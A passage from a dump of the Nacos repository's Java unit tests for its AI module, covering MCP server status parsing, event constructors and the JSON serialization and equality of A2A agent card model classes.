McpServerStatusEnum.parseStatus(AiConstants.Mcp.MCP_STATUS_ACTIVE);\n        assertEquals(McpServerStatusEnum.ACTIVE, active);\n        \n        McpServerStatusEnum deprecated = McpServerStatusEnum.parseStatus(AiConstants.Mcp.MCP_STATUS_DEPRECATED);\n        assertEquals(McpServerStatusEnum.DEPRECATED, deprecated);\n        \n        McpServerStatusEnum deleted = McpServerStatusEnum.parseStatus(AiConstants.Mcp.MCP_STATUS_DELETED);\n        assertEquals(McpServerStatusEnum.DELETED, deleted);\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/listener/NacosAgentCardEventTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.listener;\n\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardDetailInfo;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass NacosAgentCardEventTest {\n    \n    @Test\n    void testConstructor() {\n        AgentCardDetailInfo agentCardDetailInfo = new AgentCardDetailInfo();\n        agentCardDetailInfo.setName(\"testAgent\");\n        NacosAgentCardEvent event = new NacosAgentCardEvent(agentCardDetailInfo);\n        assertEquals(agentCardDetailInfo, event.getAgentCard());\n        assertEquals(agentCardDetailInfo.getName(), event.getAgentName());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/listener/NacosAiListenerDefaultMethodTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.listener;\n\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertNull;\n\nclass NacosAiListenerDefaultMethodTest {\n    \n    NacosAiListener aiListener;\n    \n    @BeforeEach\n    void setUp() {\n        aiListener = event -> {\n        };\n    }\n    \n    @Test\n    void testGetExecutor() {\n        assertNull(aiListener.getExecutor());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/listener/NacosMcpServerEventTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.listener;\n\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerDetailInfo;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.UUID;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass NacosMcpServerEventTest {\n    \n    @Test\n    void testConstructor() {\n        McpServerDetailInfo mcpServerDetailInfo = new McpServerDetailInfo();\n        mcpServerDetailInfo.setName(\"testName\");\n        mcpServerDetailInfo.setId(UUID.randomUUID().toString());\n        mcpServerDetailInfo.setNamespaceId(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        NacosMcpServerEvent event = new NacosMcpServerEvent(mcpServerDetailInfo);\n        assertEquals(mcpServerDetailInfo, event.getMcpServerDetailInfo());\n        assertEquals(mcpServerDetailInfo.getId(), event.getMcpId());\n        assertEquals(mcpServerDetailInfo.getNamespaceId(), event.getNamespaceId());\n        assertEquals(mcpServerDetailInfo.getName(), event.getMcpName());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/a2a/AgentAuthenticationTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.a2a;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Arrays;\nimport java.util.List;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass AgentAuthenticationTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        AgentAuthentication agentAuthentication = new AgentAuthentication();\n        agentAuthentication.setCredentials(\"test-credentials\");\n        List<String> schemes = Arrays.asList(\"oauth2\", \"basic\");\n        agentAuthentication.setSchemes(schemes);\n        \n        String json = mapper.writeValueAsString(agentAuthentication);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"credentials\\\":\\\"test-credentials\\\"\"));\n        assertTrue(json.contains(\"\\\"schemes\\\":[\\\"oauth2\\\",\\\"basic\\\"]\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"credentials\\\":\\\"test-credentials\\\",\\\"schemes\\\":[\\\"oauth2\\\",\\\"basic\\\"]}\";\n        \n        AgentAuthentication agentAuthentication = mapper.readValue(json, AgentAuthentication.class);\n        assertNotNull(agentAuthentication);\n        assertEquals(\"test-credentials\", agentAuthentication.getCredentials());\n        assertEquals(2, agentAuthentication.getSchemes().size());\n        assertEquals(\"oauth2\", agentAuthentication.getSchemes().get(0));\n        assertEquals(\"basic\", agentAuthentication.getSchemes().get(1));\n    }\n    \n    @Test\n    void testEqualsAndHashCode() {\n        AgentAuthentication auth1 = new AgentAuthentication();\n        auth1.setCredentials(\"test-credentials\");\n        auth1.setSchemes(Arrays.asList(\"oauth2\", \"basic\"));\n        \n        AgentAuthentication auth2 = new AgentAuthentication();\n        auth2.setCredentials(\"test-credentials\");\n        auth2.setSchemes(Arrays.asList(\"oauth2\", \"basic\"));\n        \n        AgentAuthentication auth3 = new AgentAuthentication();\n        auth3.setCredentials(\"other-credentials\");\n        \n        assertEquals(auth1, auth2);\n        assertEquals(auth1.hashCode(), auth2.hashCode());\n        assertNotEquals(auth1, auth3);\n        assertNotEquals(auth1.hashCode(), auth3.hashCode());\n        assertNotEquals(auth1, null);\n        assertNotEquals(auth1, new Object());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/a2a/AgentCapabilitiesTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.a2a;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Arrays;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass AgentCapabilitiesTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        AgentCapabilities agentCapabilities = new AgentCapabilities();\n        agentCapabilities.setStreaming(true);\n        agentCapabilities.setPushNotifications(false);\n        agentCapabilities.setStateTransitionHistory(true);\n        \n        // Create extension\n        AgentExtension extension = new AgentExtension();\n        extension.setUri(\"test-uri\");\n        extension.setDescription(\"test description\");\n        extension.setRequired(true);\n        Map<String, Object> params = new HashMap<>();\n        params.put(\"param1\", \"value1\");\n        extension.setParams(params);\n        \n        agentCapabilities.setExtensions(Arrays.asList(extension));\n        \n        String json = mapper.writeValueAsString(agentCapabilities);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"streaming\\\":true\"));\n        assertTrue(json.contains(\"\\\"pushNotifications\\\":false\"));\n        assertTrue(json.contains(\"\\\"stateTransitionHistory\\\":true\"));\n        assertTrue(json.contains(\"\\\"uri\\\":\\\"test-uri\\\"\"));\n        assertTrue(json.contains(\"\\\"description\\\":\\\"test description\\\"\"));\n        assertTrue(json.contains(\"\\\"required\\\":true\"));\n        assertTrue(json.contains(\"\\\"params\\\":{\\\"param1\\\":\\\"value1\\\"}\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"streaming\\\":true,\\\"pushNotifications\\\":false,\\\"stateTransitionHistory\\\":true,\"\n                + \"\\\"extensions\\\":[{\\\"uri\\\":\\\"test-uri\\\",\\\"description\\\":\\\"test description\\\",\\\"required\\\":true,\"\n                + \"\\\"params\\\":{\\\"param1\\\":\\\"value1\\\"}}]}\";\n        \n        AgentCapabilities agentCapabilities = mapper.readValue(json, AgentCapabilities.class);\n        assertNotNull(agentCapabilities);\n        assertEquals(true, agentCapabilities.getStreaming());\n        assertEquals(false, agentCapabilities.getPushNotifications());\n        assertEquals(true, agentCapabilities.getStateTransitionHistory());\n        assertEquals(1, agentCapabilities.getExtensions().size());\n        \n        AgentExtension extension = agentCapabilities.getExtensions().get(0);\n        assertEquals(\"test-uri\", extension.getUri());\n        assertEquals(\"test description\", extension.getDescription());\n        assertEquals(true, extension.getRequired());\n        assertEquals(\"value1\", extension.getParams().get(\"param1\"));\n    }\n    \n    @Test\n    void testEqualsAndHashCode() {\n        AgentCapabilities cap1 = new AgentCapabilities();\n        cap1.setStreaming(true);\n        cap1.setPushNotifications(false);\n        cap1.setStateTransitionHistory(true);\n        \n        AgentCapabilities cap2 = new AgentCapabilities();\n        cap2.setStreaming(true);\n        cap2.setPushNotifications(false);\n        cap2.setStateTransitionHistory(true);\n        \n        AgentCapabilities cap3 = new AgentCapabilities();\n        cap3.setStreaming(false);\n        \n        assertEquals(cap1, cap2);\n        assertEquals(cap1.hashCode(), cap2.hashCode());\n        assertNotEquals(cap1, cap3);\n        assertNotEquals(cap1.hashCode(), cap3.hashCode());\n        assertNotEquals(cap1, null);\n        assertNotEquals(cap1, new Object());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/a2a/AgentCardBasicInfoTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.a2a;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Arrays;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass AgentCardBasicInfoTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        AgentCardBasicInfo agentCardBasicInfo = new AgentCardBasicInfo();\n        agentCardBasicInfo.setProtocolVersion(\"1.0\");\n        agentCardBasicInfo.setName(\"test agent\");\n        agentCardBasicInfo.setDescription(\"test description\");\n        agentCardBasicInfo.setVersion(\"1.0.0\");\n        agentCardBasicInfo.setIconUrl(\"http://test.com/icon.png\");\n        \n        // Create capabilities\n        AgentCapabilities capabilities = new AgentCapabilities();\n        capabilities.setStreaming(true);\n        agentCardBasicInfo.setCapabilities(capabilities);\n        \n        // Create skills\n        AgentSkill skill = new AgentSkill();\n        skill.setId(\"skill-1\");\n        skill.setName(\"test skill\");\n        agentCardBasicInfo.setSkills(Arrays.asList(skill));\n        \n        String json = mapper.writeValueAsString(agentCardBasicInfo);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"protocolVersion\\\":\\\"1.0\\\"\"));\n        assertTrue(json.contains(\"\\\"name\\\":\\\"test agent\\\"\"));\n        assertTrue(json.contains(\"\\\"description\\\":\\\"test description\\\"\"));\n        assertTrue(json.contains(\"\\\"version\\\":\\\"1.0.0\\\"\"));\n        assertTrue(json.contains(\"\\\"iconUrl\\\":\\\"http://test.com/icon.png\\\"\"));\n        assertTrue(json.contains(\"\\\"capabilities\\\":{\\\"streaming\\\":true\"));\n        assertTrue(json.contains(\"\\\"skills\\\":[{\\\"id\\\":\\\"skill-1\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"protocolVersion\\\":\\\"1.0\\\",\\\"name\\\":\\\"test agent\\\",\\\"description\\\":\\\"test description\\\",\"\n                + \"\\\"version\\\":\\\"1.0.0\\\",\\\"iconUrl\\\":\\\"http://test.com/icon.png\\\",\"\n                + \"\\\"capabilities\\\":{\\\"streaming\\\":true},\"\n                + \"\\\"skills\\\":[{\\\"id\\\":\\\"skill-1\\\",\\\"name\\\":\\\"test skill\\\"}]}\";\n        \n        AgentCardBasicInfo agentCardBasicInfo = mapper.readValue(json, AgentCardBasicInfo.class);\n        assertNotNull(agentCardBasicInfo);\n        assertEquals(\"1.0\", agentCardBasicInfo.getProtocolVersion());\n        assertEquals(\"test agent\", agentCardBasicInfo.getName());\n        assertEquals(\"test description\", agentCardBasicInfo.getDescription());\n        assertEquals(\"1.0.0\", agentCardBasicInfo.getVersion());\n        assertEquals(\"http://test.com/icon.png\", agentCardBasicInfo.getIconUrl());\n        assertNotNull(agentCardBasicInfo.getCapabilities());\n        assertEquals(true, agentCardBasicInfo.getCapabilities().getStreaming());\n        assertEquals(1, agentCardBasicInfo.getSkills().size());\n        assertEquals(\"skill-1\", agentCardBasicInfo.getSkills().get(0).getId());\n        assertEquals(\"test skill\", agentCardBasicInfo.getSkills().get(0).getName());\n    }\n    \n    @Test\n    void testEqualsAndHashCode() {\n        AgentCardBasicInfo card1 = new AgentCardBasicInfo();\n        card1.setProtocolVersion(\"1.0\");\n        card1.setName(\"test agent\");\n        card1.setDescription(\"test description\");\n        card1.setVersion(\"1.0.0\");\n        card1.setIconUrl(\"http://test.com/icon.png\");\n        \n        AgentCardBasicInfo card2 = new AgentCardBasicInfo();\n        card2.setProtocolVersion(\"1.0\");\n        card2.setName(\"test agent\");\n        card2.setDescription(\"test description\");\n        card2.setVersion(\"1.0.0\");\n        card2.setIconUrl(\"http://test.com/icon.png\");\n        \n        AgentCardBasicInfo card3 = new AgentCardBasicInfo();\n        card3.setProtocolVersion(\"2.0\");\n        \n        assertEquals(card1, card1);\n        assertEquals(card1, card2);\n        assertEquals(card1.hashCode(), card2.hashCode());\n        assertNotEquals(card1, card3);\n        assertNotEquals(card1.hashCode(), card3.hashCode());\n        assertNotEquals(card1, null);\n        assertNotEquals(card1, new Object());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/a2a/AgentCardDetailInfoTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.a2a;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass AgentCardDetailInfoTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        AgentCardDetailInfo agentCardDetailInfo = new AgentCardDetailInfo();\n        agentCardDetailInfo.setProtocolVersion(\"1.0\");\n        agentCardDetailInfo.setName(\"test agent\");\n        agentCardDetailInfo.setDescription(\"test description\");\n        agentCardDetailInfo.setVersion(\"1.0.0\");\n        agentCardDetailInfo.setIconUrl(\"http://test.com/icon.png\");\n        agentCardDetailInfo.setRegistrationType(\"URL\");\n        agentCardDetailInfo.setLatestVersion(true);\n        \n        String json = mapper.writeValueAsString(agentCardDetailInfo);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"protocolVersion\\\":\\\"1.0\\\"\"));\n        assertTrue(json.contains(\"\\\"name\\\":\\\"test agent\\\"\"));\n        assertTrue(json.contains(\"\\\"description\\\":\\\"test description\\\"\"));\n        assertTrue(json.contains(\"\\\"version\\\":\\\"1.0.0\\\"\"));\n        assertTrue(json.contains(\"\\\"iconUrl\\\":\\\"http://test.com/icon.png\\\"\"));\n        assertTrue(json.contains(\"\\\"registrationType\\\":\\\"URL\\\"\"));\n        assertTrue(json.contains(\"\\\"latestVersion\\\":true\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"protocolVersion\\\":\\\"1.0\\\",\\\"name\\\":\\\"test agent\\\",\\\"description\\\":\\\"test description\\\",\"\n                + \"\\\"version\\\":\\\"1.0.0\\\",\\\"iconUrl\\\":\\\"http://test.com/icon.png\\\",\"\n                + \"\\\"registrationType\\\":\\\"URL\\\",\\\"latestVersion\\\":true}\";\n        \n        AgentCardDetailInfo agentCardDetailInfo = mapper.readValue(json, AgentCardDetailInfo.class);\n        assertNotNull(agentCardDetailInfo);\n        assertEquals(\"1.0\", agentCardDetailInfo.getProtocolVersion());\n        assertEquals(\"test agent\", agentCardDetailInfo.getName());\n        assertEquals(\"test description\", agentCardDetailInfo.getDescription());\n        assertEquals(\"1.0.0\", agentCardDetailInfo.getVersion());\n        assertEquals(\"http://test.com/icon.png\", agentCardDetailInfo.getIconUrl());\n        assertEquals(\"URL\", agentCardDetailInfo.getRegistrationType());\n        assertEquals(true, agentCardDetailInfo.isLatestVersion());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/a2a/AgentCardTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.a2a;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Arrays;\nimport java.util.HashMap;\nimport java.util.ArrayList;\nimport java.util.Map;\nimport java.util.List;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass AgentCardTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        AgentCard agentCard = getAgentCard();\n        \n        String json = mapper.writeValueAsString(agentCard);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"protocolVersion\\\":\\\"1.0\\\"\"));\n        assertTrue(json.contains(\"\\\"name\\\":\\\"test agent\\\"\"));\n        assertTrue(json.contains(\"\\\"description\\\":\\\"test description\\\"\"));\n        assertTrue(json.contains(\"\\\"version\\\":\\\"1.0.0\\\"\"));\n        assertTrue(json.contains(\"\\\"iconUrl\\\":\\\"http://test.com/icon.png\\\"\"));\n        assertTrue(json.contains(\"\\\"url\\\":\\\"http://test.com/agent\\\"\"));\n        assertTrue(json.contains(\"\\\"preferredTransport\\\":\\\"JSONRPC\\\"\"));\n        assertTrue(json.contains(\"\\\"documentationUrl\\\":\\\"http://test.com/docs\\\"\"));\n        assertTrue(json.contains(\"\\\"defaultInputModes\\\":[\\\"text\\\",\\\"voice\\\"]\"));\n        assertTrue(json.contains(\"\\\"defaultOutputModes\\\":[\\\"text\\\",\\\"image\\\"]\"));\n        assertTrue(json.contains(\"\\\"supportsAuthenticatedExtendedCard\\\":true\"));\n        assertTrue(json.contains(\"\\\"provider\\\":{\\\"organization\\\":\\\"test-org\\\"\"));\n        assertTrue(json.contains(\"\\\"securitySchemes\\\":{\\\"default\\\":{\\\"type\\\":\\\"apiKey\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"protocolVersion\\\":\\\"1.0\\\",\\\"name\\\":\\\"test agent\\\",\\\"description\\\":\\\"test description\\\",\"\n                + \"\\\"version\\\":\\\"1.0.0\\\",\\\"iconUrl\\\":\\\"http://test.com/icon.png\\\",\"\n                + \"\\\"url\\\":\\\"http://test.com/agent\\\",\\\"preferredTransport\\\":\\\"JSONRPC\\\",\"\n                + \"\\\"documentationUrl\\\":\\\"http://test.com/docs\\\",\"\n                + \"\\\"defaultInputModes\\\":[\\\"text\\\",\\\"voice\\\"],\"\n                + \"\\\"defaultOutputModes\\\":[\\\"text\\\",\\\"image\\\"],\"\n                + \"\\\"supportsAuthenticatedExtendedCard\\\":true,\"\n                + \"\\\"capabilities\\\":{\\\"streaming\\\":true},\"\n                + \"\\\"provider\\\":{\\\"organization\\\":\\\"test-org\\\",\\\"url\\\":\\\"http://test.org\\\"},\"\n                + \"\\\"securitySchemes\\\":{\\\"default\\\":{\\\"type\\\":\\\"apiKey\\\",\\\"name\\\":\\\"Authorization\\\",\\\"in\\\":\\\"header\\\"}}}\";\n        \n        AgentCard agentCard = mapper.readValue(json, AgentCard.class);\n        assertNotNull(agentCard);\n        assertEquals(\"1.0\", agentCard.getProtocolVersion());\n        assertEquals(\"test agent\", agentCard.getName());\n        assertEquals(\"test description\", agentCard.getDescription());\n        assertEquals(\"1.0.0\", agentCard.getVersion());\n        assertEquals(\"http://test.com/icon.png\", agentCard.getIconUrl());\n        assertEquals(\"http://test.com/agent\", agentCard.getUrl());\n        assertEquals(\"JSONRPC\", agentCard.getPreferredTransport());\n        assertEquals(\"http://test.com/docs\", agentCard.getDocumentationUrl());\n        assertEquals(2, agentCard.getDefaultInputModes().size());\n        assertEquals(\"text\", agentCard.getDefaultInputModes().get(0));\n        assertEquals(\"voice\", agentCard.getDefaultInputModes().get(1));\n        assertEquals(2, agentCard.getDefaultOutputModes().size());\n        assertEquals(\"text\", agentCard.getDefaultOutputModes().get(0));\n        assertEquals(\"image\", agentCard.getDefaultOutputModes().get(1));\n        assertEquals(true, agentCard.getSupportsAuthenticatedExtendedCard());\n        assertNotNull(agentCard.getCapabilities());\n        assertEquals(true, agentCard.getCapabilities().getStreaming());\n        assertNotNull(agentCard.getProvider());\n        assertEquals(\"test-org\", agentCard.getProvider().getOrganization());\n        assertEquals(\"http://test.org\", agentCard.getProvider().getUrl());\n        assertNotNull(agentCard.getSecuritySchemes());\n        assertEquals(\"apiKey\", agentCard.getSecuritySchemes().get(\"default\").get(\"type\"));\n        assertEquals(\"Authorization\", agentCard.getSecuritySchemes().get(\"default\").get(\"name\"));\n        assertEquals(\"header\", agentCard.getSecuritySchemes().get(\"default\").get(\"in\"));\n    }\n    \n    @Test\n    void testEqualsAndHashCode() {\n        AgentCard card1 = new AgentCard();\n        card1.setProtocolVersion(\"1.0\");\n        card1.setName(\"test agent\");\n        card1.setDescription(\"test description\");\n        card1.setVersion(\"1.0.0\");\n        card1.setIconUrl(\"http://test.com/icon.png\");\n        card1.setUrl(\"http://test.com/agent\");\n        card1.setPreferredTransport(\"JSONRPC\");\n        \n        AgentCard card2 = new AgentCard();\n        card2.setProtocolVersion(\"1.0\");\n        card2.setName(\"test agent\");\n        card2.setDescription(\"test description\");\n        card2.setVersion(\"1.0.0\");\n        card2.setIconUrl(\"http://test.com/icon.png\");\n        card2.setUrl(\"http://test.com/agent\");\n        card2.setPreferredTransport(\"JSONRPC\");\n        \n        AgentCard card3 = new AgentCard();\n        card3.setProtocolVersion(\"2.0\");\n        \n        assertEquals(card1, card1);\n        assertEquals(card1, card2);\n        assertEquals(card1.hashCode(), card2.hashCode());\n        assertNotEquals(card1, card3);\n        assertNotEquals(card1.hashCode(), card3.hashCode());\n        assertNotEquals(card1, null);\n        assertNotEquals(card1, new Object());\n    }\n    \n    @Test\n    void testAdditionalInterfaces() {\n        AgentInterface agentInterface = new AgentInterface();\n        agentInterface.setUrl(\"http://test.com/interface\");\n        agentInterface.setTransport(\"JSONRPC\");\n        \n        List<AgentInterface> interfaces = new ArrayList<>();\n        interfaces.add(agentInterface);\n        \n        AgentCard agentCard = new AgentCard();\n        agentCard.setAdditionalInterfaces(interfaces);\n        \n        assertNotNull(agentCard.getAdditionalInterfaces());\n        assertEquals(1, agentCard.getAdditionalInterfaces().size());\n        assertEquals(\"http://test.com/interface\", agentCard.getAdditionalInterfaces().get(0).getUrl());\n        assertEquals(\"JSONRPC\", agentCard.getAdditionalInterfaces().get(0).getTransport());\n    }\n    \n    @Test\n    void testSecurity() {\n        Map<String, List<String>> securityMap = new HashMap<>();\n        List<String> scopes = new ArrayList<>();\n        scopes.add(\"read\");\n        scopes.add(\"write\");\n        securityMap.put(\"oauth2\", scopes);\n        \n        List<Map<String, List<String>>> security = new ArrayList<>();\n        security.add(securityMap);\n        \n        AgentCard agentCard = new AgentCard();\n        agentCard.setSecurity(security);\n        \n        assertNotNull(agentCard.getSecurity());\n        assertEquals(1, agentCard.getSecurity().size());\n        assertEquals(1, agentCard.getSecurity().get(0).size());\n        assertTrue(agentCard.getSecurity().get(0).containsKey(\"oauth2\"));\n        assertEquals(2, agentCard.getSecurity().get(0).get(\"oauth2\").size());\n        assertEquals(\"read\", agentCard.getSecurity().get(0).get(\"oauth2\").get(0));\n        assertEquals(\"write\", agentCard.getSecurity().get(0).get(\"oauth2\").get(1));\n    }\n    \n    private static AgentCard getAgentCard() {\n        AgentCard agentCard = new AgentCard();\n        agentCard.setProtocolVersion(\"1.0\");\n        agentCard.setName(\"test agent\");\n        agentCard.setDescription(\"test description\");\n        agentCard.setVersion(\"1.0.0\");\n        agentCard.setIconUrl(\"http://test.com/icon.png\");\n        agentCard.setUrl(\"http://test.com/agent\");\n        agentCard.setPreferredTransport(\"JSONRPC\");\n        agentCard.setDocumentationUrl(\"http://test.com/docs\");\n        agentCard.setDefaultInputModes(Arrays.asList(\"text\", \"voice\"));\n        agentCard.setDefaultOutputModes(Arrays.asList(\"text\", \"image\"));\n        agentCard.setSupportsAuthenticatedExtendedCard(true);\n        \n        // Create capabilities\n        AgentCapabilities capabilities = new AgentCapabilities();\n        capabilities.setStreaming(true);\n        agentCard.setCapabilities(capabilities);\n        \n        // Create provider\n        AgentProvider provider = new AgentProvider();\n        provider.setOrganization(\"test-org\");\n        provider.setUrl(\"http://test.org\");\n        agentCard.setProvider(provider);\n        \n        // Create security scheme\n        SecurityScheme securityScheme = new SecurityScheme();\n        securityScheme.put(\"type\", \"apiKey\");\n        securityScheme.put(\"name\", \"Authorization\");\n        securityScheme.put(\"in\", \"header\");\n        \n        HashMap<String, SecurityScheme> securitySchemes = new HashMap<>();\n        securitySchemes.put(\"default\", securityScheme);\n        agentCard.setSecuritySchemes(securitySchemes);\n        return agentCard;\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/a2a/AgentCardVersionInfoTest.java",
